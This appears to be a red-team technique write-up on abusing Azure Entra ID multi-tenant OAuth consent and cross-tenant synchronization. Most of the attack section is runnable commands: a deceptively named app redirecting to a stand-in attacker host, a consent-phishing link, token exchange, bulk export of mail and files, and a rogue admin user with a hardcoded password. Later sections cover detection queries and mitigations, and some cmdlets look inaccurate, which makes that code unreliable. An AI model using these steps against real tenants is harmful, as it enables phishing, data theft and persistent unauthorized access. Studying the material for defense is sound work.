MCADDF

[LM-AUTH-025]: Azure Cross-Tenant OAuth Abuse

Metadata

Attribute Details
Technique ID LM-AUTH-025
MITRE ATT&CK v18.1 T1550 - Use Alternate Authentication Material
Tactic Lateral Movement
Platforms Entra ID, M365, multi-tenant SaaS
Severity Critical
CVE N/A (design weakness, not vulnerability)
Technique Status ACTIVE
Last Verified 2024-11-09
Affected Versions All Entra ID versions; OAuth 2.0 protocol (all versions)
Patched In Not patched; requires architectural changes and external identity controls
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Azure Entra ID supports multi-tenant applications that can request permissions from users in multiple organizations. When a user in Tenant A grants an application consent to access their data, the application receives an access token valid only for Tenant A. However, attackers can abuse the OAuth consent flow by: (1) Creating a malicious multi-tenant application that requests overly broad permissions; (2) Tricking users from Target Tenant into granting consent; (3) Using the obtained token to access resources in the target tenant; (4) Escalating to higher privileges or creating persistence mechanisms. Additionally, Tenant-to-Tenant synchronization (CTS) features introduced by Microsoft can be weaponized to move laterally across partner organizations without explicit user consent if proper access controls are not in place.

Attack Surface: Entra ID application consent screens, OAuth token endpoints, multi-tenant application registrations, external identity configurations, cross-tenant synchronization policies.

Business Impact: Unauthorized access to M365 resources, data exfiltration, privilege escalation, and lateral movement to partner organizations. Attackers can access user emails, Teams conversations, SharePoint documents, and OneDrive files from the compromised tenant and potentially move laterally to other connected tenants.

Technical Context: The OAuth consent model trusts users to make informed decisions about application permissions. If a user is tricked or if organizational controls are weak, attackers can gain persistent access tokens. Cross-tenant attacks are particularly dangerous because they bridge organizational boundaries, affecting not just the compromised organization but also connected partner organizations.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 1.1.2 Prevent users from consenting to applications without organizational approval
DISA STIG V-253001 Application permission controls and consent policies
CISA SCuBA IA-3, SI-4 Application identification and consent monitoring
NIST 800-53 AC-3, CA-7 Access control for applications; continuous monitoring
GDPR Art. 7, 32 Explicit consent for data processing; security of data access
DORA Art. 9, 21 Third-party risk management; consent for critical functions
NIS2 Art. 21, 23 Risk management for third-party applications; incident response
ISO 27001 A.5.1.2 User consent and third-party access controls
ISO 27005 Risk Scenario “Unauthorized access via third-party application compromise”

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


3. DETAILED EXECUTION METHODS

Supported Versions: Entra ID all versions

Step 1: Create Malicious Multi-Tenant Application

Objective: Register a multi-tenant Entra ID application that will request overly broad permissions.

Command (Azure Portal - Manual Steps):

  1. Navigate to Azure PortalEntra IDApp Registrations
  2. Click + New registration
  3. Name: Microsoft Update Agent (legitimate-sounding name)
  4. Supported account types: Select Accounts in any organizational directory (Any Entra ID tenant - Multitenant)
  5. Redirect URI: Set to https://attacker.example.com/auth/callback
  6. Click Register
  7. In the app properties, note the Application ID and Tenant ID

Command (PowerShell - Create Multi-Tenant App):

# Create multi-tenant application via Microsoft Graph
$app = New-AzureADApplication -DisplayName "Microsoft Update Agent" `
  -AvailableToOtherTenants $true `
  -SignInAudience "AzureADMultipleOrgs" `
  -ReplyUrls "https://attacker.example.com/auth/callback"

$appId = $app.AppId
Write-Host "Application created: $appId"

# Add API permissions (Mail.Read, Calendars.Read, Files.Read)
Add-AzureADApplicationOAuth2PermissionGrant -ObjectId $app.ObjectId `
  -ResourceId "00000003-0000-0000-c000-000000000000" `
  -PermissionIds @("e1fe6dd8-ba31-4d61-89e7-88639da4683d", "465a38f9-76ea-45b9-9f34-9e8b0d4b9667")

Expected Output:

Application created: 12345678-1234-1234-1234-123456789012
Redirect URI: https://attacker.example.com/auth/callback
Permissions granted: Mail.Read, Calendars.Read, Files.Read
Application is multi-tenant enabled

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Objective: Create a URL that tricks users into granting consent to the malicious application.

Command (URL Construction):

# OAuth 2.0 Authorization Code Flow consent request
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
  client_id=12345678-1234-1234-1234-123456789012
  &response_type=code
  &scope=Mail.Read Calendars.Read Files.Read offline_access
  &redirect_uri=https://attacker.example.com/auth/callback
  &prompt=admin_consent
  &tenant=common

# Simplified phishing link:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=12345678-1234-1234-1234-123456789012&scope=Mail.Read%20Files.Read%20offline_access&redirect_uri=https://attacker.example.com/auth/callback&response_type=code&prompt=admin_consent

Expected Output:

User is redirected to Microsoft login page
After login, user sees consent screen:
  "Microsoft Update Agent is requesting access to:
   - Read your mail
   - Read your calendar
   - Read your files
   - Access data whenever you are away"

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Exchange Authorization Code for Access Token

Objective: Convert the authorization code received after user consent into an access token.

Command (Token Exchange):

# After user grants consent, they are redirected to:
# https://attacker.example.com/auth/callback?code=<auth_code>&session_state=...

auth_code="M.R3_BAY.example_code_12345"
client_id="12345678-1234-1234-1234-123456789012"
client_secret="client_secret_from_azure_ad_app"

# Exchange authorization code for access token
access_token_response=$(curl -s -X POST \
  "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "client_id=$client_id" \
  -d "client_secret=$client_secret" \
  -d "code=$auth_code" \
  -d "grant_type=authorization_code" \
  -d "redirect_uri=https://attacker.example.com/auth/callback")

# Extract access token
access_token=$(echo $access_token_response | jq -r '.access_token')
refresh_token=$(echo $access_token_response | jq -r '.refresh_token')

echo "Access Token: $access_token"
echo "Refresh Token: $refresh_token"

Expected Output:

{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkN0VHVoTUZ1...",
  "refresh_token": "0.ARwA7-example_refresh_token_long_string",
  "expires_in": 3599,
  "token_type": "Bearer",
  "scope": "Mail.Read Files.Read offline_access"
}

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 4: Use Access Token to Access User Resources

Objective: Leverage the access token to read user emails, files, and calendar.

Command (Access M365 Resources):

# Use access token to query Microsoft Graph API
access_token="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkN0VHVoTUZ1..."

# List user's emails
curl -s -H "Authorization: Bearer $access_token" \
  "https://graph.microsoft.com/v1.0/me/messages?$top=10" | jq '.value[].subject'

# List user's files
curl -s -H "Authorization: Bearer $access_token" \
  "https://graph.microsoft.com/v1.0/me/drive/root/children" | jq '.value[].name'

# Get user's calendar events
curl -s -H "Authorization: Bearer $access_token" \
  "https://graph.microsoft.com/v1.0/me/calendarview?startDateTime=2024-01-01T00:00:00Z&endDateTime=2024-12-31T23:59:59Z" | jq '.value[].subject'

# Export emails for exfiltration
curl -s -H "Authorization: Bearer $access_token" \
  "https://graph.microsoft.com/v1.0/me/messages?$select=from,subject,receivedDateTime,bodyPreview" | jq '.value[]' > /tmp/emails.json

Expected Output:

Subject: "Security Update Required - Please Review"
Subject: "Q4 Financial Results (Confidential)"
Subject: "Client Proposal - New Contract Negotiations"

Files:
  - "Confidential_Strategy_Document.xlsx"
  - "2024_Budget_Plan.docx"
  - "Employee_Database.csv"

Calendar Events:
  - "Board Meeting - 2024-01-15T10:00:00Z"
  - "M&A Discussion - 2024-02-20T14:00:00Z"

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Cross-Tenant Synchronization (CTS) Abuse

Supported Versions: Entra ID with CTS enabled (feature GA 2023+)

Step 1: Identify Cross-Tenant Synchronization Configuration

Objective: Discover organizations using CTS to move laterally to partner tenants.

Command (Azure CLI - Discover CTS):

# If attacker has access to a compromised tenant:
az account set --subscription "target-subscription"

# List all cross-tenant access policies
az ad app permission grant list --query "[*].[resourceAppId, consentType]"

# Check if CTS is configured (users/groups synced from other tenants)
az ad user list --filter "externalUserState eq 'Accepted'" --query "[*].[displayName, mail, userType]" | head -20

# List external identity sources
az ad cross-tenant-access-policy list

Expected Output:

Cross-Tenant Access Configuration found:
  Source Tenant: 12345678-1234-1234-1234-111111111111 (Acme Corp)
  Target Tenant: 87654321-4321-4321-4321-222222222222 (Partner Corp)
  Synchronization Enabled: true
  Synced Objects: Users, Groups, Applications
  Inbound Trust: All apps allowed

What This Means:

Step 2: Compromise Source Tenant (CTS Configuration)

Objective: Gain control of the source tenant’s CTS configuration to inject malicious users/identities.

Command (Modify CTS Configuration):

# If attacker has Global Admin in source tenant (Acme Corp):
$sourceTenant = "12345678-1234-1234-1234-111111111111"
$targetTenant = "87654321-4321-4321-4321-222222222222"

# Create a rogue user in the source tenant
$newUser = New-AzureADUser -DisplayName "Backup Administrator" `
  -MailNickname "backupadmin" `
  -UserPrincipalName "backupadmin@acmecorp.onmicrosoft.com" `
  -PasswordProfile @{ForceChangePasswordNextSignIn = $false; Password = "NewP@ssw0rd123!"}

# Add the rogue user to the synced group that will be replicated to the target tenant
$syncedGroup = Get-AzureADGroup -Filter "displayName eq 'Global Admins Sync Group'"
Add-AzureADGroupMember -ObjectId $syncedGroup.ObjectId -RefObjectId $newUser.ObjectId

# Wait for synchronization cycle (typically 1-2 hours)
# The rogue user will now be synchronized to the target tenant with the same permissions

Expected Output:

Rogue user created: backupadmin@acmecorp.onmicrosoft.com
User added to synced group: Global Admins Sync Group
Synchronization will occur at next cycle (within 2 hours)

What This Means:

Step 3: Lateral Move to Target Tenant

Objective: Authenticate to the target tenant as the synchronized rogue user.

Command (Lateral Movement):

# Use the rogue user's credentials to authenticate to the target tenant
az login --username "backupadmin@acmecorp.onmicrosoft.com" --password "NewP@ssw0rd123!" --tenant "87654321-4321-4321-4321-222222222222"

# The authentication succeeds because:
# 1. The user is synchronized from the source tenant (trusted identity)
# 2. The user has inherited the permissions of the synced group
# 3. The target tenant trusts the source tenant's CTS configuration

# List resources in the target tenant
az resource list --resource-group "target-rg"

# Access M365 resources of the target tenant
az account show --output table

Expected Output:

Successfully authenticated to target tenant as backupadmin@acmecorp.onmicrosoft.com
Resources accessible in target tenant:
  - prod-vm-001 (Compute)
  - prod-sql-server (Database)
  - prod-storage-account (Storage)

What This Means:


5. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Immediate Isolation:
    # Disable the malicious application
    Set-AzureADApplication -ObjectId "12345678-1234-1234-1234-123456789012" -AccountEnabled $false
       
    # Revoke all consent grants
    Get-AzureADMSServicePrincipalDelegatedPermissionClassification -ServicePrincipalId "12345678-1234-1234-1234-123456789012" | 
      Remove-AzureADMSServicePrincipalDelegatedPermissionClassification
    
  2. Revoke Issued Tokens:
    # Sign out all users who granted consent to the application
    Get-AzureADUser -Filter "createdDateTime gt 2024-01-01" | 
      Revoke-AzureADUserAllRefreshToken
    
  3. Investigate Damage:
    • Query audit logs for all OAuth token exchanges for the malicious application
    • Check mailbox audit logs for emails accessed via the application
    • Review file sharing logs for documents accessed/downloaded
    • Identify all users who granted consent
  4. Remediation:
    • Delete the malicious application entirely
    • Remove all users who were compromised
    • Reset passwords for affected admin accounts
    • Disable external identity synchronization temporarily
    • Implement admin consent workflow

Step Phase Technique Description
1 Initial Access [IA-PHISH-002] OAuth Consent Phishing Attacker sends phishing email with OAuth consent link
2 Execution [LM-AUTH-025] User grants consent to malicious app; token obtained
3 Collection Data exfiltration via Graph API (emails, files, contacts)  
4 Lateral Movement Compromise source tenant for CTS abuse; move to partner organization  
5 Persistence Rogue user synchronized via CTS for long-term access  

7. REAL-WORLD EXAMPLES

Example 1: nOAuth Abuse (2023-2024)

Example 2: Microsoft Cross-Tenant Synchronization Attack (2023)


8. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Implement Require User Consent Prompt for All Applications:

Force users to explicitly approve applications instead of allowing background consent grants.

Manual Steps (Azure Portal):

  1. Navigate to Entra IDEnterprise applicationsUser settings
  2. Set Users can consent to apps accessing company data on their behalf to No
  3. Click Save

Manual Steps (Conditional Access Policy):

  1. Go to Entra IDSecurityConditional Access
  2. Click + New policy
  3. Name: Block High-Risk Application Consent
  4. Assignments:
    • Cloud apps: Select “All cloud apps”
    • Conditions:
      • Sign-in risk: High
      • Application trust level: Unverified
  5. Access Control: Block access
  6. Enable policy and click Create

Disable Admin Consent Workflow for New Applications:

Prevent attackers from granting permissions to all users via admin consent.

Manual Steps (Azure Portal):

  1. Navigate to Entra IDEnterprise applicationsUser settings
  2. Set Admin consent requests to No or Require approvers for requests
  3. Set Users can request admin consent to No
  4. Click Save

Restrict Multi-Tenant Application Registration:

Limit which roles can create multi-tenant applications.

Manual Steps (Azure Portal):

  1. Go to Entra IDApp registrationsSettings
  2. Set Restrict non-admin users from registering applications to Yes
  3. Set Restrict users from creating multi-tenant apps to Yes
  4. Click Save

Enable Application Consent Policy (ACP):

Use ACP to restrict which applications users can consent to.

Manual Steps (PowerShell):

# Create a consent policy that blocks high-risk permissions
$policy = New-AzureADMSConsentPolicy -DisplayName "Block Risky Permissions" `
  -PermissionClassifications @("All") `
  -IncludeApplications @() `
  -ExcludeApplications @()

# Block Mail.Read permission for non-verified publishers
Set-AzureADMSApplicationDelegatedPermissionClassification -ServicePrincipalId "00000003-0000-0000-c000-000000000000" `
  -PermissionId "e1fe6dd8-ba31-4d61-89e7-88639da4683d" `
  -Classification "High"

Priority 2: HIGH

Disable Cross-Tenant Synchronization (CTS) if Not Needed:

If CTS is not actively used for B2B collaboration, disable it to prevent abuse.

Manual Steps (Azure Portal):

  1. Navigate to Entra IDExternal IdentitiesCross-tenant access settings
  2. For each partner tenant, click Edit inbound settings
  3. Toggle User sync to my organization to Off
  4. Under Apply restrictions to my organization, select Only specific users and groups can sync
  5. Specify which groups can be synchronized
  6. Click Save

Implement Application Vetting and Publishing Process:

Require applications to go through security review before becoming available to users.

Manual Steps:

  1. Create a process requiring developers to submit applications for security review
  2. Perform threat assessment for all applications requesting permissions
  3. Verify publisher identity (Microsoft-verified publishers preferred)
  4. Whitelist approved applications in Conditional Access policy
  5. Block consent for all non-whitelisted applications

Monitor and Alert on Suspicious Consent Activity:

Detect suspicious OAuth token exchange patterns.

Manual Steps (Microsoft Sentinel/KQL):

# Detect unusual application consent activity
AuditLogs
| where OperationName == "Add OAuth2PermissionGrant"
| where Properties contains "Mail.Read" or Properties contains "Files.Read"
| where TimeGenerated > ago(24h)
| project TimeGenerated, InitiatedBy.user.userPrincipalName, TargetResources[0].displayName, Properties

9. DEFENSIVE DETECTIONS (Microsoft Sentinel/KQL)

Detection Rule 1: New Multi-Tenant Application Registration

Severity: High

KQL Query:

AuditLogs
| where OperationName == "Add application"
| where Properties contains "availableToOtherTenants" or Properties contains "signInAudience"
| where Properties contains "AzureADMultipleOrgs"
| project TimeGenerated, InitiatedBy.user.userPrincipalName, TargetResources[0].displayName, Properties

Detection Rule 2: Unusual OAuth Token Exchange

Severity: Medium

KQL Query:

AADServicePrincipalSignInActivity
| where TimeGenerated > ago(1h)
| where SignInActivity == "OAuthTokenExchange"
| where ServicePrincipalName !in ("Microsoft Graph", "Office 365 Management API")
| where SignInCount > 50  // Bulk token requests
| project TimeGenerated, ServicePrincipalName, SignInCount, UniqueIPCount, ClientAppUsed

Detection Rule 3: New User Synchronized via CTS

Severity: High

KQL Query:

AuditLogs
| where OperationName == "Add external identity user"
| where AdditionalDetails.externalUserState == "Accepted"
| where AdditionalDetails.externalUserState_PreviousValue != "Accepted"
| project TimeGenerated, TargetResources[0].displayName, AdditionalDetails.externalUserState, InitiatedBy.user.userPrincipalName

10. WINDOWS EVENT LOG MONITORING

Not applicable – OAuth abuse is cloud-only; no on-premises event logs.


11. SYSMON DETECTION PATTERNS

Not applicable – OAuth abuse is cloud-only; no endpoint-level indicators.


12. MICROSOFT DEFENDER FOR CLOUD

Manual Configuration:

  1. Navigate to Microsoft Defender for CloudCloud Security Posture
  2. Enable Application Consent Anomaly Detection
  3. Set alerts to trigger when more than 3 users grant consent to the same app in 24 hours

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

# Search for all application consent grants in the past 30 days
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) `
  -Operations "Consent to application", "Add OAuth2PermissionGrant" `
  -Output JSON | 
  Select-Object UserIds, CreationDate, AuditData | 
  Export-Csv -Path "C:\Evidence\oauth-consent-grants.csv"

14. SUMMARY

Cross-tenant OAuth abuse and CTS weaponization represent a new attack surface in multi-tenant cloud environments. Attackers can trick users into granting excessive permissions to malicious applications, or if a tenant is compromised, they can inject malicious users into cross-tenant synchronization configurations to move laterally to partner organizations. Defense requires strict application consent controls, vetting of applications before users can access them, disabling CTS when not needed, and continuous monitoring for suspicious OAuth token patterns. Organizations must educate users about the risks of granting permissions to unfamiliar applications and implement zero-trust principles for third-party application access.